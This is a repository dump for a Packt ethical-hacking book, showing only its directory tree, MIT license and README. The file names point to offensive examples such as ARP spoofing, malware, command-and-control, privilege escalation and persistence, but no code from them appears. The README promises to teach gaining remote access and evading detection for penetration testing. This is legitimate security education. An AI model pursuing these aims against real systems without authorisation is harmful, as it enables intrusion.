Repository: PacktPublishing/Python-Ethical-Hacking
Branch: main
Commit: fbbb3c0d101c
Files: 644
Total size: 38.0 MB
Directory structure:
gitextract_2cygxgs3/
├── LICENSE
├── README.md
├── example01-mac-changer/
│ ├── desktop.ini
│ └── m1-mac-changer.py.py
├── example02-scapy-introduction/
│ ├── desktop.ini
│ ├── m1-ICMP-scapy.py
│ ├── m2-scapy-function.py
│ └── requirements.txt
├── example03-arp-scanner/
│ ├── desktop.ini
│ └── m1-arp-scanner.py.py
├── example04-arpspoof/
│ ├── desktop.ini
│ └── main.py
├── example05-sslstrip/
│ ├── bettercap
│ └── desktop.ini
├── example06-introduction_to_sockets/
│ ├── .vscode/
│ │ ├── desktop.ini
│ │ └── settings.json
│ ├── desktop.ini
│ └── main.py
├── example07-socket-client/
│ ├── desktop.ini
│ └── victim.py
├── example08-hacker-malware/
│ ├── desktop.ini
│ └── hacker.py
├── example09-victim-malware/
│ ├── desktop.ini
│ └── victim.py
├── example10-hacker-advanced/
│ ├── desktop.ini
│ └── hacker.py
├── example11-advanced-victim/
│ ├── advanced-victim.py
│ └── desktop.ini
├── example12-password-cracking/
│ ├── .vscode/
│ │ ├── desktop.ini
│ │ └── settings.json
│ ├── cracker.py
│ ├── desktop.ini
│ ├── passwords.txt
│ ├── secret_file/
│ │ ├── desktop.ini
│ │ └── secret file.txt
│ └── venv/
│ ├── Include/
│ │ └── desktop.ini
│ ├── Lib/
│ │ ├── desktop.ini
│ │ └── site-packages/
│ │ ├── desktop.ini
│ │ ├── easy_install.py
│ │ ├── pip/
│ │ │ ├── __init__.py
│ │ │ ├── __main__.py
│ │ │ ├── _internal/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── build_env.py
│ │ │ │ ├── cache.py
│ │ │ │ ├── cli/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── autocompletion.py
│ │ │ │ │ ├── base_command.py
│ │ │ │ │ ├── cmdoptions.py
│ │ │ │ │ ├── command_context.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── main.py
│ │ │ │ │ ├── main_parser.py
│ │ │ │ │ ├── parser.py
│ │ │ │ │ ├── progress_bars.py
│ │ │ │ │ ├── req_command.py
│ │ │ │ │ ├── spinners.py
│ │ │ │ │ └── status_codes.py
│ │ │ │ ├── commands/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cache.py
│ │ │ │ │ ├── check.py
│ │ │ │ │ ├── completion.py
│ │ │ │ │ ├── configuration.py
│ │ │ │ │ ├── debug.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── download.py
│ │ │ │ │ ├── freeze.py
│ │ │ │ │ ├── hash.py
│ │ │ │ │ ├── help.py
│ │ │ │ │ ├── install.py
│ │ │ │ │ ├── list.py
│ │ │ │ │ ├── search.py
│ │ │ │ │ ├── show.py
│ │ │ │ │ ├── uninstall.py
│ │ │ │ │ └── wheel.py
│ │ │ │ ├── configuration.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── distributions/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── installed.py
│ │ │ │ │ ├── sdist.py
│ │ │ │ │ └── wheel.py
│ │ │ │ ├── exceptions.py
│ │ │ │ ├── index/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── collector.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ └── package_finder.py
│ │ │ │ ├── locations.py
│ │ │ │ ├── main.py
│ │ │ │ ├── models/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── candidate.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── direct_url.py
│ │ │ │ │ ├── format_control.py
│ │ │ │ │ ├── index.py
│ │ │ │ │ ├── link.py
│ │ │ │ │ ├── scheme.py
│ │ │ │ │ ├── search_scope.py
│ │ │ │ │ ├── selection_prefs.py
│ │ │ │ │ ├── target_python.py
│ │ │ │ │ └── wheel.py
│ │ │ │ ├── network/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── cache.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── download.py
│ │ │ │ │ ├── lazy_wheel.py
│ │ │ │ │ ├── session.py
│ │ │ │ │ ├── utils.py
│ │ │ │ │ └── xmlrpc.py
│ │ │ │ ├── operations/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── build/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── metadata.py
│ │ │ │ │ │ ├── metadata_legacy.py
│ │ │ │ │ │ ├── wheel.py
│ │ │ │ │ │ └── wheel_legacy.py
│ │ │ │ │ ├── check.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── freeze.py
│ │ │ │ │ ├── install/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── editable_legacy.py
│ │ │ │ │ │ ├── legacy.py
│ │ │ │ │ │ └── wheel.py
│ │ │ │ │ └── prepare.py
│ │ │ │ ├── pyproject.py
│ │ │ │ ├── req/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── constructors.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── req_file.py
│ │ │ │ │ ├── req_install.py
│ │ │ │ │ ├── req_set.py
│ │ │ │ │ ├── req_tracker.py
│ │ │ │ │ └── req_uninstall.py
│ │ │ │ ├── resolution/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── legacy/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ └── resolver.py
│ │ │ │ │ └── resolvelib/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── candidates.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── factory.py
│ │ │ │ │ ├── provider.py
│ │ │ │ │ ├── requirements.py
│ │ │ │ │ └── resolver.py
│ │ │ │ ├── self_outdated_check.py
│ │ │ │ ├── utils/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── appdirs.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── compatibility_tags.py
│ │ │ │ │ ├── datetime.py
│ │ │ │ │ ├── deprecation.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── direct_url_helpers.py
│ │ │ │ │ ├── distutils_args.py
│ │ │ │ │ ├── encoding.py
│ │ │ │ │ ├── entrypoints.py
│ │ │ │ │ ├── filesystem.py
│ │ │ │ │ ├── filetypes.py
│ │ │ │ │ ├── glibc.py
│ │ │ │ │ ├── hashes.py
│ │ │ │ │ ├── inject_securetransport.py
│ │ │ │ │ ├── logging.py
│ │ │ │ │ ├── misc.py
│ │ │ │ │ ├── models.py
│ │ │ │ │ ├── packaging.py
│ │ │ │ │ ├── parallel.py
│ │ │ │ │ ├── pkg_resources.py
│ │ │ │ │ ├── setuptools_build.py
│ │ │ │ │ ├── subprocess.py
│ │ │ │ │ ├── temp_dir.py
│ │ │ │ │ ├── typing.py
│ │ │ │ │ ├── unpacking.py
│ │ │ │ │ ├── urls.py
│ │ │ │ │ ├── virtualenv.py
│ │ │ │ │ └── wheel.py
│ │ │ │ ├── vcs/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── bazaar.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── git.py
│ │ │ │ │ ├── mercurial.py
│ │ │ │ │ ├── subversion.py
│ │ │ │ │ └── versioncontrol.py
│ │ │ │ └── wheel_builder.py
│ │ │ ├── _vendor/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── appdirs.py
│ │ │ │ ├── cachecontrol/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _cmd.py
│ │ │ │ │ ├── adapter.py
│ │ │ │ │ ├── cache.py
│ │ │ │ │ ├── caches/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── file_cache.py
│ │ │ │ │ │ └── redis_cache.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── controller.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── filewrapper.py
│ │ │ │ │ ├── heuristics.py
│ │ │ │ │ ├── serialize.py
│ │ │ │ │ └── wrapper.py
│ │ │ │ ├── certifi/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── __main__.py
│ │ │ │ │ ├── cacert.pem
│ │ │ │ │ ├── core.py
│ │ │ │ │ └── desktop.ini
│ │ │ │ ├── chardet/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── big5freq.py
│ │ │ │ │ ├── big5prober.py
│ │ │ │ │ ├── chardistribution.py
│ │ │ │ │ ├── charsetgroupprober.py
│ │ │ │ │ ├── charsetprober.py
│ │ │ │ │ ├── cli/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── chardetect.py
│ │ │ │ │ │ └── desktop.ini
│ │ │ │ │ ├── codingstatemachine.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── cp949prober.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── enums.py
│ │ │ │ │ ├── escprober.py
│ │ │ │ │ ├── escsm.py
│ │ │ │ │ ├── eucjpprober.py
│ │ │ │ │ ├── euckrfreq.py
│ │ │ │ │ ├── euckrprober.py
│ │ │ │ │ ├── euctwfreq.py
│ │ │ │ │ ├── euctwprober.py
│ │ │ │ │ ├── gb2312freq.py
│ │ │ │ │ ├── gb2312prober.py
│ │ │ │ │ ├── hebrewprober.py
│ │ │ │ │ ├── jisfreq.py
│ │ │ │ │ ├── jpcntx.py
│ │ │ │ │ ├── langbulgarianmodel.py
│ │ │ │ │ ├── langcyrillicmodel.py
│ │ │ │ │ ├── langgreekmodel.py
│ │ │ │ │ ├── langhebrewmodel.py
│ │ │ │ │ ├── langhungarianmodel.py
│ │ │ │ │ ├── langthaimodel.py
│ │ │ │ │ ├── langturkishmodel.py
│ │ │ │ │ ├── latin1prober.py
│ │ │ │ │ ├── mbcharsetprober.py
│ │ │ │ │ ├── mbcsgroupprober.py
│ │ │ │ │ ├── mbcssm.py
│ │ │ │ │ ├── sbcharsetprober.py
│ │ │ │ │ ├── sbcsgroupprober.py
│ │ │ │ │ ├── sjisprober.py
│ │ │ │ │ ├── universaldetector.py
│ │ │ │ │ ├── utf8prober.py
│ │ │ │ │ └── version.py
│ │ │ │ ├── colorama/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── ansi.py
│ │ │ │ │ ├── ansitowin32.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── initialise.py
│ │ │ │ │ ├── win32.py
│ │ │ │ │ └── winterm.py
│ │ │ │ ├── contextlib2.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── distlib/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _backport/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── misc.py
│ │ │ │ │ │ ├── shutil.py
│ │ │ │ │ │ ├── sysconfig.cfg
│ │ │ │ │ │ ├── sysconfig.py
│ │ │ │ │ │ └── tarfile.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── database.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── index.py
│ │ │ │ │ ├── locators.py
│ │ │ │ │ ├── manifest.py
│ │ │ │ │ ├── markers.py
│ │ │ │ │ ├── metadata.py
│ │ │ │ │ ├── resources.py
│ │ │ │ │ ├── scripts.py
│ │ │ │ │ ├── util.py
│ │ │ │ │ ├── version.py
│ │ │ │ │ └── wheel.py
│ │ │ │ ├── distro.py
│ │ │ │ ├── html5lib/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _ihatexml.py
│ │ │ │ │ ├── _inputstream.py
│ │ │ │ │ ├── _tokenizer.py
│ │ │ │ │ ├── _trie/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── _base.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ └── py.py
│ │ │ │ │ ├── _utils.py
│ │ │ │ │ ├── constants.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── filters/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── alphabeticalattributes.py
│ │ │ │ │ │ ├── base.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── inject_meta_charset.py
│ │ │ │ │ │ ├── lint.py
│ │ │ │ │ │ ├── optionaltags.py
│ │ │ │ │ │ ├── sanitizer.py
│ │ │ │ │ │ └── whitespace.py
│ │ │ │ │ ├── html5parser.py
│ │ │ │ │ ├── serializer.py
│ │ │ │ │ ├── treeadapters/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── genshi.py
│ │ │ │ │ │ └── sax.py
│ │ │ │ │ ├── treebuilders/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── base.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── dom.py
│ │ │ │ │ │ ├── etree.py
│ │ │ │ │ │ └── etree_lxml.py
│ │ │ │ │ └── treewalkers/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── dom.py
│ │ │ │ │ ├── etree.py
│ │ │ │ │ ├── etree_lxml.py
│ │ │ │ │ └── genshi.py
│ │ │ │ ├── idna/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── codec.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── core.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── idnadata.py
│ │ │ │ │ ├── intranges.py
│ │ │ │ │ ├── package_data.py
│ │ │ │ │ └── uts46data.py
│ │ │ │ ├── ipaddress.py
│ │ │ │ ├── msgpack/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _version.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── exceptions.py
│ │ │ │ │ ├── ext.py
│ │ │ │ │ └── fallback.py
│ │ │ │ ├── packaging/
│ │ │ │ │ ├── __about__.py
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _compat.py
│ │ │ │ │ ├── _structures.py
│ │ │ │ │ ├── _typing.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── markers.py
│ │ │ │ │ ├── requirements.py
│ │ │ │ │ ├── specifiers.py
│ │ │ │ │ ├── tags.py
│ │ │ │ │ ├── utils.py
│ │ │ │ │ └── version.py
│ │ │ │ ├── pep517/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _in_process.py
│ │ │ │ │ ├── build.py
│ │ │ │ │ ├── check.py
│ │ │ │ │ ├── colorlog.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── dirtools.py
│ │ │ │ │ ├── envbuild.py
│ │ │ │ │ ├── meta.py
│ │ │ │ │ └── wrappers.py
│ │ │ │ ├── pkg_resources/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ └── py31compat.py
│ │ │ │ ├── progress/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── bar.py
│ │ │ │ │ ├── counter.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ └── spinner.py
│ │ │ │ ├── pyparsing.py
│ │ │ │ ├── requests/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── __version__.py
│ │ │ │ │ ├── _internal_utils.py
│ │ │ │ │ ├── adapters.py
│ │ │ │ │ ├── api.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── certs.py
│ │ │ │ │ ├── compat.py
│ │ │ │ │ ├── cookies.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── exceptions.py
│ │ │ │ │ ├── help.py
│ │ │ │ │ ├── hooks.py
│ │ │ │ │ ├── models.py
│ │ │ │ │ ├── packages.py
│ │ │ │ │ ├── sessions.py
│ │ │ │ │ ├── status_codes.py
│ │ │ │ │ ├── structures.py
│ │ │ │ │ └── utils.py
│ │ │ │ ├── resolvelib/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── compat/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── collections_abc.py
│ │ │ │ │ │ └── desktop.ini
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── providers.py
│ │ │ │ │ ├── reporters.py
│ │ │ │ │ ├── resolvers.py
│ │ │ │ │ └── structs.py
│ │ │ │ ├── retrying.py
│ │ │ │ ├── six.py
│ │ │ │ ├── toml/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── common.py
│ │ │ │ │ ├── decoder.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── encoder.py
│ │ │ │ │ ├── ordered.py
│ │ │ │ │ └── tz.py
│ │ │ │ ├── urllib3/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _collections.py
│ │ │ │ │ ├── connection.py
│ │ │ │ │ ├── connectionpool.py
│ │ │ │ │ ├── contrib/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── _appengine_environ.py
│ │ │ │ │ │ ├── _securetransport/
│ │ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ │ ├── bindings.py
│ │ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ │ └── low_level.py
│ │ │ │ │ │ ├── appengine.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── ntlmpool.py
│ │ │ │ │ │ ├── pyopenssl.py
│ │ │ │ │ │ ├── securetransport.py
│ │ │ │ │ │ └── socks.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── exceptions.py
│ │ │ │ │ ├── fields.py
│ │ │ │ │ ├── filepost.py
│ │ │ │ │ ├── packages/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── backports/
│ │ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ │ └── makefile.py
│ │ │ │ │ │ ├── desktop.ini
│ │ │ │ │ │ ├── six.py
│ │ │ │ │ │ └── ssl_match_hostname/
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── _implementation.py
│ │ │ │ │ │ └── desktop.ini
│ │ │ │ │ ├── poolmanager.py
│ │ │ │ │ ├── request.py
│ │ │ │ │ ├── response.py
│ │ │ │ │ └── util/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── connection.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── queue.py
│ │ │ │ │ ├── request.py
│ │ │ │ │ ├── response.py
│ │ │ │ │ ├── retry.py
│ │ │ │ │ ├── ssl_.py
│ │ │ │ │ ├── timeout.py
│ │ │ │ │ ├── url.py
│ │ │ │ │ └── wait.py
│ │ │ │ ├── vendor.txt
│ │ │ │ └── webencodings/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── labels.py
│ │ │ │ ├── mklabels.py
│ │ │ │ ├── tests.py
│ │ │ │ └── x_user_defined.py
│ │ │ └── desktop.ini
│ │ ├── pip-20.2.1.dist-info/
│ │ │ ├── INSTALLER
│ │ │ ├── LICENSE.txt
│ │ │ ├── METADATA
│ │ │ ├── RECORD
│ │ │ ├── REQUESTED
│ │ │ ├── WHEEL
│ │ │ ├── desktop.ini
│ │ │ ├── entry_points.txt
│ │ │ └── top_level.txt
│ │ ├── pkg_resources/
│ │ │ ├── __init__.py
│ │ │ ├── _vendor/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── appdirs.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── packaging/
│ │ │ │ │ ├── __about__.py
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _compat.py
│ │ │ │ │ ├── _structures.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── markers.py
│ │ │ │ │ ├── requirements.py
│ │ │ │ │ ├── specifiers.py
│ │ │ │ │ ├── tags.py
│ │ │ │ │ ├── utils.py
│ │ │ │ │ └── version.py
│ │ │ │ ├── pyparsing.py
│ │ │ │ └── six.py
│ │ │ ├── desktop.ini
│ │ │ └── extern/
│ │ │ ├── __init__.py
│ │ │ └── desktop.ini
│ │ ├── setuptools/
│ │ │ ├── __init__.py
│ │ │ ├── _deprecation_warning.py
│ │ │ ├── _distutils/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _msvccompiler.py
│ │ │ │ ├── archive_util.py
│ │ │ │ ├── bcppcompiler.py
│ │ │ │ ├── ccompiler.py
│ │ │ │ ├── cmd.py
│ │ │ │ ├── command/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── bdist.py
│ │ │ │ │ ├── bdist_dumb.py
│ │ │ │ │ ├── bdist_msi.py
│ │ │ │ │ ├── bdist_rpm.py
│ │ │ │ │ ├── bdist_wininst.py
│ │ │ │ │ ├── build.py
│ │ │ │ │ ├── build_clib.py
│ │ │ │ │ ├── build_ext.py
│ │ │ │ │ ├── build_py.py
│ │ │ │ │ ├── build_scripts.py
│ │ │ │ │ ├── check.py
│ │ │ │ │ ├── clean.py
│ │ │ │ │ ├── config.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── install.py
│ │ │ │ │ ├── install_data.py
│ │ │ │ │ ├── install_egg_info.py
│ │ │ │ │ ├── install_headers.py
│ │ │ │ │ ├── install_lib.py
│ │ │ │ │ ├── install_scripts.py
│ │ │ │ │ ├── register.py
│ │ │ │ │ ├── sdist.py
│ │ │ │ │ └── upload.py
│ │ │ │ ├── config.py
│ │ │ │ ├── core.py
│ │ │ │ ├── cygwinccompiler.py
│ │ │ │ ├── debug.py
│ │ │ │ ├── dep_util.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── dir_util.py
│ │ │ │ ├── dist.py
│ │ │ │ ├── errors.py
│ │ │ │ ├── extension.py
│ │ │ │ ├── fancy_getopt.py
│ │ │ │ ├── file_util.py
│ │ │ │ ├── filelist.py
│ │ │ │ ├── log.py
│ │ │ │ ├── msvc9compiler.py
│ │ │ │ ├── msvccompiler.py
│ │ │ │ ├── spawn.py
│ │ │ │ ├── sysconfig.py
│ │ │ │ ├── text_file.py
│ │ │ │ ├── unixccompiler.py
│ │ │ │ ├── util.py
│ │ │ │ ├── version.py
│ │ │ │ └── versionpredicate.py
│ │ │ ├── _imp.py
│ │ │ ├── _vendor/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── ordered_set.py
│ │ │ │ ├── packaging/
│ │ │ │ │ ├── __about__.py
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _compat.py
│ │ │ │ │ ├── _structures.py
│ │ │ │ │ ├── desktop.ini
│ │ │ │ │ ├── markers.py
│ │ │ │ │ ├── requirements.py
│ │ │ │ │ ├── specifiers.py
│ │ │ │ │ ├── tags.py
│ │ │ │ │ ├── utils.py
│ │ │ │ │ └── version.py
│ │ │ │ ├── pyparsing.py
│ │ │ │ └── six.py
│ │ │ ├── archive_util.py
│ │ │ ├── build_meta.py
│ │ │ ├── command/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── alias.py
│ │ │ │ ├── bdist_egg.py
│ │ │ │ ├── bdist_rpm.py
│ │ │ │ ├── bdist_wininst.py
│ │ │ │ ├── build_clib.py
│ │ │ │ ├── build_ext.py
│ │ │ │ ├── build_py.py
│ │ │ │ ├── desktop.ini
│ │ │ │ ├── develop.py
│ │ │ │ ├── dist_info.py
│ │ │ │ ├── easy_install.py
│ │ │ │ ├── egg_info.py
│ │ │ │ ├── install.py
│ │ │ │ ├── install_egg_info.py
│ │ │ │ ├── install_lib.py
│ │ │ │ ├── install_scripts.py
│ │ │ │ ├── launcher manifest.xml
│ │ │ │ ├── py36compat.py
│ │ │ │ ├── register.py
│ │ │ │ ├── rotate.py
│ │ │ │ ├── saveopts.py
│ │ │ │ ├── sdist.py
│ │ │ │ ├── setopt.py
│ │ │ │ ├── test.py
│ │ │ │ ├── upload.py
│ │ │ │ └── upload_docs.py
│ │ │ ├── config.py
│ │ │ ├── dep_util.py
│ │ │ ├── depends.py
│ │ │ ├── desktop.ini
│ │ │ ├── dist.py
│ │ │ ├── distutils_patch.py
│ │ │ ├── errors.py
│ │ │ ├── extension.py
│ │ │ ├── extern/
│ │ │ │ ├── __init__.py
│ │ │ │ └── desktop.ini
│ │ │ ├── glob.py
│ │ │ ├── installer.py
│ │ │ ├── launch.py
│ │ │ ├── lib2to3_ex.py
│ │ │ ├── monkey.py
│ │ │ ├── msvc.py
│ │ │ ├── namespaces.py
│ │ │ ├── package_index.py
│ │ │ ├── py27compat.py
│ │ │ ├── py31compat.py
│ │ │ ├── py33compat.py
│ │ │ ├── py34compat.py
│ │ │ ├── sandbox.py
│ │ │ ├── script (dev).tmpl
│ │ │ ├── script.tmpl
│ │ │ ├── ssl_support.py
│ │ │ ├── unicode_utils.py
│ │ │ ├── version.py
│ │ │ ├── wheel.py
│ │ │ └── windows_support.py
│ │ └── setuptools-49.2.1.dist-info/
│ │ ├── INSTALLER
│ │ ├── LICENSE
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── REQUESTED
│ │ ├── WHEEL
│ │ ├── dependency_links.txt
│ │ ├── desktop.ini
│ │ ├── entry_points.txt
│ │ ├── top_level.txt
│ │ └── zip-safe
│ ├── Scripts/
│ │ ├── Activate.ps1
│ │ ├── activate
│ │ ├── activate.bat
│ │ ├── deactivate.bat
│ │ └── desktop.ini
│ ├── desktop.ini
│ └── pyvenv.cfg
├── example13-CNC/
│ ├── CnC.py
│ ├── bot1.py
│ └── desktop.ini
├── example14-priv-escalation/
│ ├── desktop.ini
│ └── escalation.py
└── example15-persistence/
├── desktop.ini
└── persistence.py
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2021 Packt
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# Python Ethical Hacking from Scratch
This is the code repository for [Python Ethical Hacking from Scratch](https://www.packtpub.com/product/python-ethical-hacking-from-scratch/9781838829506?utm_source=github&utm_medium=repository&utm_campaign=9781838829506), published by Packt.
**Python Ethical Hacking from Scratch, published by Packt**
## What is this book about?
Penetration testing enables you to evaluate the security or strength of a computer system, network, or web application that an attacker can exploit. With this book, you'll understand why Python is one of the fastest-growing programming languages for penetration testing. You'll find out how to harness the power of Python and pentesting to enhance your system security.
This book covers the following exciting features:
* Understand the core concepts of ethical hacking
* Develop custom hacking tools from scratch to be used for ethical hacking purposes
* Discover ways to test the cybersecurity of an organization by bypassing protection schemes
* Develop attack vectors used in real cybersecurity tests
* Test the system security of an organization or subject by identifying and exploiting its weaknesses
* Gain and maintain remote access to target systems
* Find ways to stay undetected on target systems and local networks
If you feel this book is for you, get your [copy](https://www.amazon.com/dp/1838829504) today!
## Instructions and Navigations
All of the code is organized into folders. For example, Chapter02.
The code will look like the following:
```
subprocess.run(
["ifconfig", "eth0"],
shell=True,
)
```
**Following is what you need for this book:**
If you want to learn ethical hacking by developing your own tools instead of just using the prebuilt tools, this book is for you. A solid understanding of fundamental Python concepts is expected. Some complex Python concepts are explained in the book, but the goal is to teach ethical hacking, not Python.
With the following software and hardware list you can run all code files present in the book (Chapter 1-9).
### Software and Hardware List
| Chapter | Software required | OS required |
| -------- | ------------------------------------ | ----------------------------------- |
| 1-9 | Python version 3.8 | Windows, Mac OS X, and Linux (Any) |
| 1-9 | VMware/Virtualbox | Windows, Mac OS X, and Linux (Any) |
| 1-9 | Visual Studio Code IDE | Windows, Mac OS X, and Linux (Any) |
We also provide a PDF file that has color images of the screenshots/diagrams used in this book. [Click here to download it](http://www.packtpub.com/sites/default/files/downloads/9781838829506_ColorImages.pdf).
### Related products
* Mastering Python for Networking and Security - Second Edition [[Packt]](https://www.packtpub.com/product/mastering-python-for-networking-and-security-second-edition/9781839217166?utm_source=github&utm_medium=repository&utm_campaign=9781839217166) [[Amazon]](https://www.amazon.com/dp/1839217162)
* Mastering Python Networking - Third Edition [[Packt]](https://www.packtpub.com/product/mastering-python-networking-third-edition/9781839214677?utm_source=github&utm_medium=repository&utm_campaign=9781839214677) [[Amazon]](https://www.amazon.com/dp/1839214678)
## Get to Know the Author
**Fahad Ali Sarwar**
Fahad has been teaching ethical hacking and penetration testing on different online platforms with a solid student base. He's passionate about cybersecurity and ethical hacking tool development.
